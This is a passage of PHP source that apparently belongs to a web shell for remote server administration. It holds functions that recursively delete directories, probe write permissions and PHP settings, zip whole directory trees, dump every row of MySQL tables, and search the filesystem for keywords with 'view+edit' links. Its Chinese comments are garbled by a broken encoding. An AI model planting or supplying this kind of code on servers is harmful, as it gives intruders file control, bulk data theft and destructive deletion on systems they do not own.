@unlink("$deldir/$file");
|
|||
|
}
|
|||
|
}
|
|||
|
$mydir->close();
|
|||
|
@chmod("$deldir",0777);
|
|||
|
return (@rmdir($deldir)) ? 1 : 0;
|
|||
|
}
|
|||
|
|
|||
|
// <20>ж϶<D0B6>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
|
|||
|
function dir_writeable($dir) {
|
|||
|
if (!is_dir($dir)) {
|
|||
|
@mkdir($dir, 0777);
|
|||
|
}
|
|||
|
if(is_dir($dir)) {
|
|||
|
if ($fp = @fopen("$dir/test.txt", 'w')) {
|
|||
|
@fclose($fp);
|
|||
|
@unlink("$dir/test.txt");
|
|||
|
$writeable = 1;
|
|||
|
} else {
|
|||
|
$writeable = 0;
|
|||
|
}
|
|||
|
}
|
|||
|
return $writeable;
|
|||
|
}
|
|||
|
|
|||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>м<EFBFBD><D0BC>ı<EFBFBD><C4B1><EFBFBD>ɫ<EFBFBD>滻
|
|||
|
function getrowbg() {
|
|||
|
global $bgcounter;
|
|||
|
if ($bgcounter++%2==0) {
|
|||
|
return "firstalt";
|
|||
|
} else {
|
|||
|
return "secondalt";
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD>ļ<EFBFBD>ϵͳ·<CDB3><C2B7>
|
|||
|
function getPath($mainpath, $relativepath) {
|
|||
|
global $dir;
|
|||
|
$mainpath_info = explode('/', $mainpath);
|
|||
|
$relativepath_info = explode('/', $relativepath);
|
|||
|
$relativepath_info_count = count($relativepath_info);
|
|||
|
for ($i=0; $i<$relativepath_info_count; $i++) {
|
|||
|
if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue;
|
|||
|
if ($relativepath_info[$i] == '..') {
|
|||
|
$mainpath_info_count = count($mainpath_info);
|
|||
|
unset($mainpath_info[$mainpath_info_count-1]);
|
|||
|
continue;
|
|||
|
}
|
|||
|
$mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
|
|||
|
} //end for
|
|||
|
return implode('/', $mainpath_info);
|
|||
|
}
|
|||
|
|
|||
|
// <20><><EFBFBD><EFBFBD>PHP<48><50><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>
|
|||
|
function getphpcfg($varname) {
|
|||
|
switch($result = get_cfg_var($varname)) {
|
|||
|
case 0:
|
|||
|
return "No";
|
|||
|
break;
|
|||
|
case 1:
|
|||
|
return "Yes";
|
|||
|
break;
|
|||
|
default:
|
|||
|
return $result;
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// <20><><EFBFBD>麯<EFBFBD><E9BAAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
function getfun($funName) {
|
|||
|
return (false !== function_exists($funName)) ? "Yes" : "No";
|
|||
|
}
|
|||
|
|
|||
|
// ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
class PHPZip{
|
|||
|
var $out='';
|
|||
|
function PHPZip($dir) {
|
|||
|
if (@function_exists('gzcompress')) {
|
|||
|
$curdir = getcwd();
|
|||
|
if (is_array($dir)) $filelist = $dir;
|
|||
|
else{
|
|||
|
$filelist=$this -> GetFileList($dir);//<2F>ļ<EFBFBD><C4BC>б<EFBFBD>
|
|||
|
foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
|
|||
|
}
|
|||
|
if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
|
|||
|
else chdir($curdir);
|
|||
|
if (count($filelist)>0){
|
|||
|
foreach($filelist as $filename){
|
|||
|
if (is_file($filename)){
|
|||
|
$fd = fopen ($filename, "r");
|
|||
|
$content = @fread ($fd, filesize ($filename));
|
|||
|
fclose ($fd);
|
|||
|
if (is_array($dir)) $filename = basename($filename);
|
|||
|
$this -> addFile($content, $filename);
|
|||
|
}
|
|||
|
}
|
|||
|
$this->out = $this -> file();
|
|||
|
chdir($curdir);
|
|||
|
}
|
|||
|
return 1;
|
|||
|
}
|
|||
|
else return 0;
|
|||
|
}
|
|||
|
|
|||
|
// <20><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>Ŀ¼<C4BF>ļ<EFBFBD><C4BC>б<EFBFBD>
|
|||
|
function GetFileList($dir){
|
|||
|
static $a;
|
|||
|
if (is_dir($dir)) {
|
|||
|
if ($dh = opendir($dir)) {
|
|||
|
while (($file = readdir($dh)) !== false) {
|
|||
|
if($file!='.' && $file!='..'){
|
|||
|
$f=$dir .'/'. $file;
|
|||
|
if(is_dir($f)) $this->GetFileList($f);
|
|||
|
$a[]=$f;
|
|||
|
}
|
|||
|
}
|
|||
|
closedir($dh);
|
|||
|
}
|
|||
|
}
|
|||
|
return $a;
|
|||
|
}
|
|||
|
|
|||
|
var $datasec = array();
|
|||
|
var $ctrl_dir = array();
|
|||
|
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
|
|||
|
var $old_offset = 0;
|
|||
|
|
|||
|
function unix2DosTime($unixtime = 0) {
|
|||
|
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
|
|||
|
if ($timearray['year'] < 1980) {
|
|||
|
$timearray['year'] = 1980;
|
|||
|
$timearray['mon'] = 1;
|
|||
|
$timearray['mday'] = 1;
|
|||
|
$timearray['hours'] = 0;
|
|||
|
$timearray['minutes'] = 0;
|
|||
|
$timearray['seconds'] = 0;
|
|||
|
} // end if
|
|||
|
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
|
|||
|
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
|
|||
|
}
|
|||
|
|
|||
|
function addFile($data, $name, $time = 0) {
|
|||
|
$name = str_replace('\\', '/', $name);
|
|||
|
|
|||
|
$dtime = dechex($this->unix2DosTime($time));
|
|||
|
$hexdtime = '\x' . $dtime[6] . $dtime[7]
|
|||
|
. '\x' . $dtime[4] . $dtime[5]
|
|||
|
. '\x' . $dtime[2] . $dtime[3]
|
|||
|
. '\x' . $dtime[0] . $dtime[1];
|
|||
|
eval('$hexdtime = "' . $hexdtime . '";');
|
|||
|
$fr = "\x50\x4b\x03\x04";
|
|||
|
$fr .= "\x14\x00";
|
|||
|
$fr .= "\x00\x00";
|
|||
|
$fr .= "\x08\x00";
|
|||
|
$fr .= $hexdtime;
|
|||
|
|
|||
|
$unc_len = strlen($data);
|
|||
|
$crc = crc32($data);
|
|||
|
$zdata = gzcompress($data);
|
|||
|
$c_len = strlen($zdata);
|
|||
|
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
|
|||
|
$fr .= pack('V', $crc);
|
|||
|
$fr .= pack('V', $c_len);
|
|||
|
$fr .= pack('V', $unc_len);
|
|||
|
$fr .= pack('v', strlen($name));
|
|||
|
$fr .= pack('v', 0);
|
|||
|
$fr .= $name;
|
|||
|
|
|||
|
$fr .= $zdata;
|
|||
|
|
|||
|
$fr .= pack('V', $crc);
|
|||
|
$fr .= pack('V', $c_len);
|
|||
|
$fr .= pack('V', $unc_len);
|
|||
|
|
|||
|
$this -> datasec[] = $fr;
|
|||
|
$new_offset = strlen(implode('', $this->datasec));
|
|||
|
|
|||
|
$cdrec = "\x50\x4b\x01\x02";
|
|||
|
$cdrec .= "\x00\x00";
|
|||
|
$cdrec .= "\x14\x00";
|
|||
|
$cdrec .= "\x00\x00";
|
|||
|
$cdrec .= "\x08\x00";
|
|||
|
$cdrec .= $hexdtime;
|
|||
|
$cdrec .= pack('V', $crc);
|
|||
|
$cdrec .= pack('V', $c_len);
|
|||
|
$cdrec .= pack('V', $unc_len);
|
|||
|
$cdrec .= pack('v', strlen($name) );
|
|||
|
$cdrec .= pack('v', 0 );
|
|||
|
$cdrec .= pack('v', 0 );
|
|||
|
$cdrec .= pack('v', 0 );
|
|||
|
$cdrec .= pack('v', 0 );
|
|||
|
$cdrec .= pack('V', 32 );
|
|||
|
$cdrec .= pack('V', $this -> old_offset );
|
|||
|
$this -> old_offset = $new_offset;
|
|||
|
$cdrec .= $name;
|
|||
|
|
|||
|
$this -> ctrl_dir[] = $cdrec;
|
|||
|
}
|
|||
|
|
|||
|
function file() {
|
|||
|
$data = implode('', $this -> datasec);
|
|||
|
$ctrldir = implode('', $this -> ctrl_dir);
|
|||
|
return
|
|||
|
$data .
|
|||
|
$ctrldir .
|
|||
|
$this -> eof_ctrl_dir .
|
|||
|
pack('v', sizeof($this -> ctrl_dir)) .
|
|||
|
pack('v', sizeof($this -> ctrl_dir)) .
|
|||
|
pack('V', strlen($ctrldir)) .
|
|||
|
pack('V', strlen($data)) .
|
|||
|
"\x00\x00";
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>
|
|||
|
function sqldumptable($table, $fp=0) {
|
|||
|
$tabledump = "DROP TABLE IF EXISTS $table;\n";
|
|||
|
$tabledump .= "CREATE TABLE $table (\n";
|
|||
|
|
|||
|
$firstfield=1;
|
|||
|
|
|||
|
$fields = mysql_query("SHOW FIELDS FROM $table");
|
|||
|
while ($field = mysql_fetch_array($fields)) {
|
|||
|
if (!$firstfield) {
|
|||
|
$tabledump .= ",\n";
|
|||
|
} else {
|
|||
|
$firstfield=0;
|
|||
|
}
|
|||
|
$tabledump .= " $field[Field] $field[Type]";
|
|||
|
if (!empty($field["Default"])) {
|
|||
|
$tabledump .= " DEFAULT '$field[Default]'";
|
|||
|
}
|
|||
|
if ($field['Null'] != "YES") {
|
|||
|
$tabledump .= " NOT NULL";
|
|||
|
}
|
|||
|
if ($field['Extra'] != "") {
|
|||
|
$tabledump .= " $field[Extra]";
|
|||
|
}
|
|||
|
}
|
|||
|
mysql_free_result($fields);
|
|||
|
|
|||
|
$keys = mysql_query("SHOW KEYS FROM $table");
|
|||
|
while ($key = mysql_fetch_array($keys)) {
|
|||
|
$kname=$key['Key_name'];
|
|||
|
if ($kname != "PRIMARY" and $key['Non_unique'] == 0) {
|
|||
|
$kname="UNIQUE|$kname";
|
|||
|
}
|
|||
|
if(!is_array($index[$kname])) {
|
|||
|
$index[$kname] = array();
|
|||
|
}
|
|||
|
$index[$kname][] = $key['Column_name'];
|
|||
|
}
|
|||
|
mysql_free_result($keys);
|
|||
|
|
|||
|
while(list($kname, $columns) = @each($index)) {
|
|||
|
$tabledump .= ",\n";
|
|||
|
$colnames=implode($columns,",");
|
|||
|
|
|||
|
if ($kname == "PRIMARY") {
|
|||
|
$tabledump .= " PRIMARY KEY ($colnames)";
|
|||
|
} else {
|
|||
|
if (substr($kname,0,6) == "UNIQUE") {
|
|||
|
$kname=substr($kname,7);
|
|||
|
}
|
|||
|
$tabledump .= " KEY $kname ($colnames)";
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
$tabledump .= "\n);\n\n";
|
|||
|
if ($fp) {
|
|||
|
fwrite($fp,$tabledump);
|
|||
|
} else {
|
|||
|
echo $tabledump;
|
|||
|
}
|
|||
|
|
|||
|
$rows = mysql_query("SELECT * FROM $table");
|
|||
|
$numfields = mysql_num_fields($rows);
|
|||
|
while ($row = mysql_fetch_array($rows)) {
|
|||
|
$tabledump = "INSERT INTO $table VALUES(";
|
|||
|
|
|||
|
$fieldcounter=-1;
|
|||
|
$firstfield=1;
|
|||
|
while (++$fieldcounter<$numfields) {
|
|||
|
if (!$firstfield) {
|
|||
|
$tabledump.=", ";
|
|||
|
} else {
|
|||
|
$firstfield=0;
|
|||
|
}
|
|||
|
|
|||
|
if (!isset($row[$fieldcounter])) {
|
|||
|
$tabledump .= "NULL";
|
|||
|
} else {
|
|||
|
$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
$tabledump .= ");\n";
|
|||
|
|
|||
|
if ($fp) {
|
|||
|
fwrite($fp,$tabledump);
|
|||
|
} else {
|
|||
|
echo $tabledump;
|
|||
|
}
|
|||
|
}
|
|||
|
mysql_free_result($rows);
|
|||
|
}
|
|||
|
|
|||
|
class FORMS {
|
|||
|
function tableheader() {
|
|||
|
echo "<table width=\"775\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\">\n";
|
|||
|
}
|
|||
|
|
|||
|
function headerform($arg=array()) {
|
|||
|
global $dir;
|
|||
|
if ($arg[enctype]){
|
|||
|
$enctype="enctype=\"$arg[enctype]\"";
|
|||
|
} else {
|
|||
|
$enctype="";
|
|||
|
}
|
|||
|
if (!isset($arg[method])) {
|
|||
|
$arg[method] = "POST";
|
|||
|
}
|
|||
|
if (!isset($arg[action])) {
|
|||
|
$arg[action] = '';
|
|||
|
}
|
|||
|
echo " <form action=\"".$arg[action]."\" method=\"".$arg[method]."\" $enctype>\n";
|
|||
|
echo " <tr>\n";
|
|||
|
echo " <td>".$arg[content]."</td>\n";
|
|||
|
echo " </tr>\n";
|
|||
|
echo " </form>\n";
|
|||
|
}
|
|||
|
|
|||
|
function tdheader($title) {
|
|||
|
global $dir;
|
|||
|
echo " <tr class=\"firstalt\">\n";
|
|||
|
echo " <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\"><3E><><EFBFBD><EFBFBD></a>]</b></td>\n";
|
|||
|
echo " </tr>\n";
|
|||
|
}
|
|||
|
|
|||
|
function tdbody($content,$align='center',$bgcolor='2',$height='',$extra='',$colspan='') {
|
|||
|
if ($bgcolor=='2') {
|
|||
|
$css="secondalt";
|
|||
|
} elseif ($bgcolor=='1') {
|
|||
|
$css="firstalt";
|
|||
|
} else {
|
|||
|
$css=$bgcolor;
|
|||
|
}
|
|||
|
$height = empty($height) ? "" : " height=".$height;
|
|||
|
$colspan = empty($colspan) ? "" : " colspan=".$colspan;
|
|||
|
echo " <tr class=\"".$css."\">\n";
|
|||
|
echo " <td align=\"".$align."\"".$height." ".$colspan." ".$extra.">".$content."</td>\n";
|
|||
|
echo " </tr>\n";
|
|||
|
}
|
|||
|
|
|||
|
function tablefooter() {
|
|||
|
echo "</table>\n";
|
|||
|
}
|
|||
|
|
|||
|
function formheader($action='',$title,$target='') {
|
|||
|
global $dir;
|
|||
|
$target = empty($target) ? "" : " target=\"".$target."\"";
|
|||
|
echo " <form action=\"$action\" method=\"POST\"".$target.">\n";
|
|||
|
echo " <tr class=\"firstalt\">\n";
|
|||
|
echo " <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\"><3E><><EFBFBD><EFBFBD></a>]</b></td>\n";
|
|||
|
echo " </tr>\n";
|
|||
|
}
|
|||
|
|
|||
|
function makehidden($name,$value=''){
|
|||
|
echo "<input type=\"hidden\" name=\"$name\" value=\"$value\">\n";
|
|||
|
}
|
|||
|
|
|||
|
function makeinput($name,$value='',$extra='',$type='text',$size='30',$css='input'){
|
|||
|
$css = ($css == 'input') ? " class=\"input\"" : "";
|
|||
|
$input = "<input name=\"$name\" value=\"$value\" type=\"$type\" ".$css." size=\"$size\" $extra>\n";
|
|||
|
return $input;
|
|||
|
}
|
|||
|
|
|||
|
function maketextarea($name,$content='',$cols='100',$rows='20',$extra=''){
|
|||
|
$textarea = "<textarea name=\"".$name."\" cols=\"".$cols."\" rows=\"".$rows."\" ".$extra.">".$content."</textarea>\n";
|
|||
|
return $textarea;
|
|||
|
}
|
|||
|
|
|||
|
function formfooter($over='',$height=''){
|
|||
|
$height = empty($height) ? "" : " height=\"".$height."\"";
|
|||
|
echo " <tr class=\"secondalt\">\n";
|
|||
|
echo " <td align=\"center\"".$height."><input class=\"input\" type=\"submit\" value=\"ȷ<><C8B7>\"></td>\n";
|
|||
|
echo " </tr>\n";
|
|||
|
echo " </form>\n";
|
|||
|
echo $end = empty($over) ? "" : "</table>\n";
|
|||
|
}
|
|||
|
|
|||
|
function makeselect($arg = array()){
|
|||
|
if ($arg[multiple]==1) {
|
|||
|
$multiple = " multiple";
|
|||
|
if ($arg[size]>0) {
|
|||
|
$size = "size=$arg[size]";
|
|||
|
}
|
|||
|
}
|
|||
|
if ($arg[css]==0) {
|
|||
|
$css = "class=\"input\"";
|
|||
|
}
|
|||
|
$select = "<select $css name=\"$arg[name]\"$multiple $size>\n";
|
|||
|
if (is_array($arg[option])) {
|
|||
|
foreach ($arg[option] AS $key=>$value) {
|
|||
|
if (!is_array($arg[selected])) {
|
|||
|
if ($arg[selected]==$key) {
|
|||
|
$select .= "<option value=\"$key\" selected>$value</option>\n";
|
|||
|
} else {
|
|||
|
$select .= "<option value=\"$key\">$value</option>\n";
|
|||
|
}
|
|||
|
|
|||
|
} elseif (is_array($arg[selected])) {
|
|||
|
if ($arg[selected][$key]==1) {
|
|||
|
$select .= "<option value=\"$key\" selected>$value</option>\n";
|
|||
|
} else {
|
|||
|
$select .= "<option value=\"$key\">$value</option>\n";
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
$select .= "</select>\n";
|
|||
|
return $select;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
function find($path) //<2F><><EFBFBD>ҹؼ<D2B9><D8BC><EFBFBD>
|
|||
|
{
|
|||
|
global $oldkey,$type,$type2,$endline,$beline;
|
|||
|
if(is_dir("$path")){
|
|||
|
$tempdir=opendir("$path");
|
|||
|
while($f=readdir($tempdir)){ if($f=="."||$f=="..")continue; find("$path/$f");}
|
|||
|
closedir($tempdir);
|
|||
|
}else{
|
|||
|
if(filesize("$path")){
|
|||
|
$fp=fopen("$path","r");
|
|||
|
$msg=fread($fp, filesize("$path"));
|
|||
|
fclose($fp);
|
|||
|
if(strpos($msg, $oldkey) !== false) {
|
|||
|
$dir = dirname($path);
|
|||
|
$file = basename($path);
|
|||
|
if($type=="list"){
|
|||
|
$mymsg = explode("\n",$msg);
|
|||
|
$long = count($mymsg);
|
|||
|
$tmp = explode($oldkey,$msg);
|
|||
|
$tmp = explode("\n",$tmp[0]);
|
|||
|
$first = count($tmp);
|
|||
|
$end = "[".$first."/".$long."]";
|
|||
|
}
|
|||
|
if($type2=="getpath"){
|
|||
|
$get = explode($oldkey,$msg);
|
|||
|
$get = strlen($get[0]);
|
|||
|
if(isset($beline)){
|
|||
|
$get = $get-$beline;
|
|||
|
}
|
|||
|
$getpath = htmlspecialchars(substr($msg, $get, $endline));
|
|||
|
$getpath = "title = \"".$getpath."\"";
|
|||
|
}
|
|||
|
echo "<span class=\"redfont\" $getpath><3E>ҵ<EFBFBD>:$dir/$file</span> |<a href=\"?action=editfile&dir=$dir&editfile=$file\" target=\"_blank\">view+edit</a> | $end <br>";
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
?>
|